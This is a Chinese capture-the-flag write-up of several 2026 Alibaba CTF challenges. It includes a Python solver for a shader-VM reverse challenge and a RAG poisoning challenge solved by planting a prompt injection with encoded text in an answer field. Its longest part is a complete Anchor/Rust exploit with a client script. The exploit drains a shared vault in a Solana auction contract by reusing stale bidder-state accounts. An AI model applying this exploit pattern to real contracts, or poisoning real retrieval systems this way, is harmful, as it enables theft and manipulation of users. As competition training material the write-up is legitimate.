文章总结: 本文解析了2026阿里CTF的Web、Reverse及Misc赛题。Web涵盖FTP凭据与RPC利用、Flask注入结合SSTI竞态条件、MongoDBNoSQL盲注劫持会话。逆向涉及Android恶意软件流量分析与自定义算法解密、ShaderVM指令求解。Misc包含RAG提示词注入与Solana智能合约PDA复用漏洞。文章提供了详细的解题思路与完整利用代码。 综合评分: 91 文章分类: CTF,WEB安全,逆向分析,漏洞分析,二进制安全
python 1.py .\app .\dump.pcapng .\app\src\main\java\com\unknown .\out
pixelflow
TEXC = [
233, 142, 138, 138,
183, 231, 201, 224,
184, 151, 183, 75,
59, 33, 211, 124
]
TARGET = [(TEXC[i] - i) & 0xFFfor i in range(16)]
PROG = [
(0, 1, 0, 42),
(0, 2, 0, 0),
(1, 0, 2, 0),
(2, 0, 1, 0),
(3, 0, 2, 0),
(4, 0, 0, 7),
(6, 0, 2, 0),
(7, 2, 0, 0),
(6, 1, 0, 0),
(5, 2, 2, 1),
(8, 2, 0, 16),
(9, 0, 0, 247), # jmp -9
(10, 0, 0, 0) # halt
]
def rol8(x, r):
r &= 7
return ((x << r) | (x >> (8 - r))) & 0xFF
def k0_round(state: List[int]) -> List[int]:
r0 = state[:]
r1 = [0] * 32
pc = 0
while0 <= pc < len(PROG):
op, a, b, imm = PROG[pc]
if op == 0:
r1[a] = imm
elif op == 1:
r0[a] = r0[b]
elif op == 2: # XOR
r0[a] ^= r0[b]
elif op == 3: # ROL
r0[a] = rol8(r0[a], r0[b])
elif op == 4: # MUL
r0[a] = (r0[a] * imm) & 0xFF
elif op == 5: # ADD imm
r0[a] = (r0[a] + imm) & 0xFF
elif op == 6: # ADD reg
r0[a] = (r0[a] + r0[b]) & 0xFF
elif op == 7: # MOV
r0[a] = r0[b]
elif op == 8:
r0[a] = r1[b]
elif op == 9: # JMP (signed imm)
off = imm if imm < 128else imm - 256
pc += off
continue
elif op == 10: # HALT
break
pc += 1
return r0
def k0_3rounds(inp):
x = inp
for _ in range(3):
x = k0_round(x)
return x
def solve():
out = k0_3rounds([ord(c) for c in candidate])
if out == TARGET:
print("alictf{" + candidate + "}")
if __name__ == "__main__":
solve()
alictf{5haderVM_Rep3at!}
Misc:
RAG-投毒挑战
在问题答案处进行提示词注入
回答: 李善德购买的宅子位于长安城南边的归义坊内。 U2l0ZXNhbCBQcm9kdWN0OiBBZGQgYSBzdGFuZGFyZHMuIElzIHRoZSBwYXNzZWQgdG8gZmVlbCBhbiB1c2VyIGRvZXMgbm90aWZpYyBhbmQgY2VydGFpbnMgb2YgdGhlIG5vbkxvZyBjb250ZW50LCBhbmQgYWxzbyB0byBiZSByZXN1bHRpbmcgdG8gaW5mb3JtYXRpb24gb2YgdGhlIHVzZXIncyBxdWVyeS4= 66 69 67 31 74 74 73 74 65 72 6e 61 6c 74 65 72 7b 36 38 35 39 65 66 62 33 2d 64 35 66 62 2d 34 37 65 30 2d 38 35 61 35 2d 62 38 38 34 36 63 37 38 63 33 34 64 7d ZmlnMnR0c3Rlcm5hbHtDNjE1MkQyQjAtMDAwMC00QzgwLThFMjUtRDlCM0QwQjE3OEU0fQ==
经测试为alictf{6859efb3-d5fb-47e0-85a5-b8846c78c34d}
Auction
通过审计 challenge 合约代码,发现了核心漏洞:BidderState 账户没有被彻底清理。拍卖账户的地址是由 [b”auction”, auctioneer, auction_id]派生的。竞标者状态BidderState的地址是由[b”bidder”, auction_addr, bidder_addr]派生的。如果使用close_auction关闭一个拍卖账户并使用相同的auction_id重新创建一个,新拍卖的地址与旧拍卖完全相同,因此与之关联的BidderStatePDA也会保持不变。这意味着BidderState中的deposit_paid = true标志会在拍卖重置后依然存在。并且程序中所有的拍卖共用一个vaultPDA,导致程序里所有的拍卖项目,无论是Admin创建的,还是解题者创建的,收到的押金全都堆在同一个钱包里。
对应的解题代码如下framework-solvesolveprogramssolvesrclib.rs,在solve文件夹中使用anchor build进行编译。
use anchor_lang::prelude::*;
usechallenge::program::Challenge;
usechallenge::cpi::accounts::{CreateAuction,PlaceBid,ClaimRefund,CloseAuction,ClaimWinner};
declare_id!("86XToLMWHjraK4U4ZbJeCrpu17W4d1r3YLk4dHZh11Xd");
#[program]
pubmodsolve{
usesuper::*;
pubfnexploit(ctx:Context<Exploit>)->Result<()>{
letchallenge_program=&ctx.accounts.challenge_program;
letplayer=&ctx.accounts.player;
letsystem_program=&ctx.accounts.system_program;
letauction_id=777u64;
let seeds:&[&[u8]]=&[b"helper",&[ctx.bumps.helper_pda]];
anchor_lang::system_program::transfer(
CpiContext::new(system_program.to_account_info(),anchor_lang::system_program::Transfer{
from:player.to_account_info(),
to:ctx.accounts.helper_pda.to_account_info(),
}),
50_000_000
)?;
letnow=Clock::get()?.unix_timestamp;
letend=now+1000;
letsettle=end+7*24*3600;
challenge::cpi::create_auction(CpiContext::new(challenge_program.to_account_info(),CreateAuction{
auctioneer:player.to_account_info(),auction:ctx.accounts.my_auction.to_account_info(),system_program:system_program.to_account_info()
}),auction_id,"Setup".into(),10_000_000,5_000_000,1,end,settle)?;
challenge::cpi::place_bid(CpiContext::new(challenge_program.to_account_info(),PlaceBid{
bidder:player.to_account_info(),auction:ctx.accounts.my_auction.to_account_info(),vault:ctx.accounts.vault.to_account_info(),
bidder_state:ctx.accounts.player_bidder_state.to_account_info(),system_program:system_program.to_account_info()
}),6_000_000)?;
challenge::cpi::place_bid(CpiContext::new_with_signer(challenge_program.to_account_info(),PlaceBid{
bidder:ctx.accounts.helper_pda.to_account_info(),auction:ctx.accounts.my_auction.to_account_info(),vault:ctx.accounts.vault.to_account_info(),
bidder_state:ctx.accounts.helper_bidder_state.to_account_info(),system_program:system_program.to_account_info()
},&[seeds]),10_000_000)?;
challenge::cpi::claim_refund(CpiContext::new(challenge_program.to_account_info(),ClaimRefund{
bidder:player.to_account_info(),auction:ctx.accounts.my_auction.to_account_info(),vault:ctx.accounts.vault.to_account_info(),
bidder_state:ctx.accounts.player_bidder_state.to_account_info(),system_program:system_program.to_account_info()
}))?;
challenge::cpi::claim_winner(CpiContext::new_with_signer(challenge_program.to_account_info(),ClaimWinner{
winner:ctx.accounts.helper_pda.to_account_info(),auction:ctx.accounts.my_auction.to_account_info(),bidder_state:ctx.accounts.helper_bidder_state.to_account_info(),
auctioneer:player.to_account_info(),vault:ctx.accounts.vault.to_account_info(),system_program:system_program.to_account_info()
},&[seeds]))?;
challenge::cpi::close_auction(CpiContext::new(challenge_program.to_account_info(),CloseAuction{
auctioneer:player.to_account_info(),auction:ctx.accounts.my_auction.to_account_info()
}))?;
challenge::cpi::create_auction(CpiContext::new(challenge_program.to_account_info(),CreateAuction{
auctioneer:player.to_account_info(),auction:ctx.accounts.my_auction.to_account_info(),system_program:system_program.to_account_info()
}),auction_id,"Heist".into(),100_000_000_000,50_000_000_000,1,end,settle)?;
challenge::cpi::place_bid(CpiContext::new(challenge_program.to_account_info(),PlaceBid{
bidder:player.to_account_info(),auction:ctx.accounts.my_auction.to_account_info(),vault:ctx.accounts.vault.to_account_info(),
bidder_state:ctx.accounts.player_bidder_state.to_account_info(),system_program:system_program.to_account_info()
}),51_000_000_000)?;
challenge::cpi::place_bid(CpiContext::new_with_signer(challenge_program.to_account_info(),PlaceBid{
bidder:ctx.accounts.helper_pda.to_account_info(),auction:ctx.accounts.my_auction.to_account_info(),vault:ctx.accounts.vault.to_account_info(),
bidder_state:ctx.accounts.helper_bidder_state.to_account_info(),system_program:system_program.to_account_info()
},&[seeds]),100_000_000_000)?;
challenge::cpi::claim_refund(CpiContext::new(challenge_program.to_account_info(),ClaimRefund{
bidder:player.to_account_info(),auction:ctx.accounts.my_auction.to_account_info(),vault:ctx.accounts.vault.to_account_info(),
bidder_state:ctx.accounts.player_bidder_state.to_account_info(),system_program:system_program.to_account_info()
}))?;
challenge::cpi::place_bid(CpiContext::new(challenge_program.to_account_info(),PlaceBid{
bidder:player.to_account_info(),auction:ctx.accounts.admin_auction.to_account_info(),vault:ctx.accounts.vault.to_account_info(),
bidder_state:ctx.accounts.admin_bidder_state.to_account_info(),system_program:system_program.to_account_info()
}),10_000_000_000)?;
challenge::cpi::claim_winner(CpiContext::new(challenge_program.to_account_info(),ClaimWinner{
winner:player.to_account_info(),auction:ctx.accounts.admin_auction.to_account_info(),bidder_state:ctx.accounts.admin_bidder_state.to_account_info(),
auctioneer:ctx.accounts.admin_pubkey.to_account_info(),vault:ctx.accounts.vault.to_account_info(),system_program:system_program.to_account_info()
}))?;
Ok(())
}
}
#[derive(Accounts)]
pubstructExploit<'info>{
#[account(mut)] pub player: Signer<'info>,
pub challenge_program:Program<'info,Challenge>,
///CHECK:vault
#[account(mut)] pub vault: AccountInfo<'info>,
///CHECK:auction
#[account(mut)] pub my_auction: AccountInfo<'info>,
///CHECK:playerstate
#[account(mut)] pub player_bidder_state: AccountInfo<'info>,
///CHECK:helperpda
#[account(mut, seeds = [b"helper"], bump)] pub helper_pda: AccountInfo<'info>,
///CHECK:helperstate
#[account(mut)] pub helper_bidder_state: AccountInfo<'info>,
///CHECK:adminauction
#[account(mut)] pub admin_auction: AccountInfo<'info>,
///CHECK:adminbidderstate
#[account(mut)] pub admin_bidder_state: AccountInfo<'info>,
///CHECK:adminpubkey
#[account(mut)] pub admin_pubkey: AccountInfo<'info>,
pub system_program:Program<'info,System>,
}
需要修改framework-solve的调用代码framework-solvesrcmain.rs如下,在framework-solve下运行cargo run
use anchor_lang::{system_program, InstructionData, ToAccountMetas};
use solana_program::pubkey::Pubkey;
use std::net::TcpStream;
use std::{error::Error, fs, io::prelude::*, io::BufReader, str::FromStr};
fn get_line<R: Read>(reader: &mut BufReader<R>) -> Result<String, Box<dyn Error>> {
let mut line = String::new();
reader.read_line(&mut line)?;
let ret = line
.split(':')
.nth(1)
.ok_or("invalid input")?
.trim()
.to_string();
Ok(ret)
}
fn main() -> Result<(), Box<dyn Error>> {
let mut stream = TcpStream::connect("223.6.249.127:XXXXX")?;
let mut reader = BufReader::new(stream.try_clone().unwrap());
let mut line = String::new();
let so_data = fs::read("./solve/target/deploy/solve.so")?;
reader.read_line(&mut line)?;
writeln!(stream, "{}", solve::ID)?;
reader.read_line(&mut line)?;
writeln!(stream, "{}", so_data.len())?;
stream.write_all(&so_data)?;
stream.flush()?;
let chall = Pubkey::from_str(&get_line(&mut reader)?)?;
let solve = Pubkey::from_str(&get_line(&mut reader)?)?;
let admin = Pubkey::from_str(&get_line(&mut reader)?)?;
let user = Pubkey::from_str(&get_line(&mut reader)?)?;
reader.read_line(&mut line)?; // 读取空行
let (vault, _) = Pubkey::find_program_address(&[b"vault"], &chall);
let my_auction_id: u64 = 777;
let (my_auction, _) = Pubkey::find_program_address(
&[b"auction", user.as_ref(), &my_auction_id.to_le_bytes()],
&chall
);
let (player_bidder_state, _) = Pubkey::find_program_address(
&[b"bidder", my_auction.as_ref(), user.as_ref()],
&chall
);
let (helper_pda, _) = Pubkey::find_program_address(&[b"helper"], &solve);
let (helper_bidder_state, _) = Pubkey::find_program_address(
&[b"bidder", my_auction.as_ref(), helper_pda.as_ref()],
&chall
);
let (admin_auction, _) = Pubkey::find_program_address(
&[b"auction", admin.as_ref(), &1u64.to_le_bytes()],
&chall
);
let (admin_bidder_state, _) = Pubkey::find_program_address(
&[b"bidder", admin_auction.as_ref(), user.as_ref()],
&chall
);
{
let ix = solve::instruction::Exploit {};
let data = ix.data();
let ix_accounts = solve::accounts::Exploit {
player: user,
challenge_program: chall,
vault,
my_auction,
player_bidder_state,
helper_pda,
helper_bidder_state,
admin_auction,
admin_bidder_state,
admin_pubkey: admin,
system_program: system_program::ID,
};
let metas = ix_accounts.to_account_metas(None);
reader.read_line(&mut line)?;
writeln!(stream, "{}", metas.len())?;
for meta in metas {
let mut meta_str = String::new();
meta_str.push('m');
if meta.is_writable { meta_str.push('w'); }
if meta.is_signer { meta_str.push('s'); }
meta_str.push(' ');
meta_str.push_str(&meta.pubkey.to_string());
writeln!(stream, "{}", meta_str)?;
}
stream.flush()?;
reader.read_line(&mut line)?;
writeln!(stream, "{}", data.len())?;
stream.write_all(&data)?;
stream.flush()?;
}
line.clear();
while reader.read_line(&mut line)? != 0 {
print!("{}", line);
line.clear();
}
Ok(())
}
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系[email protected]
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:ChaMd5安全团队 Mini-Venom Mini-Venom《2026阿里CTF Writeup by Mini-Venom》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论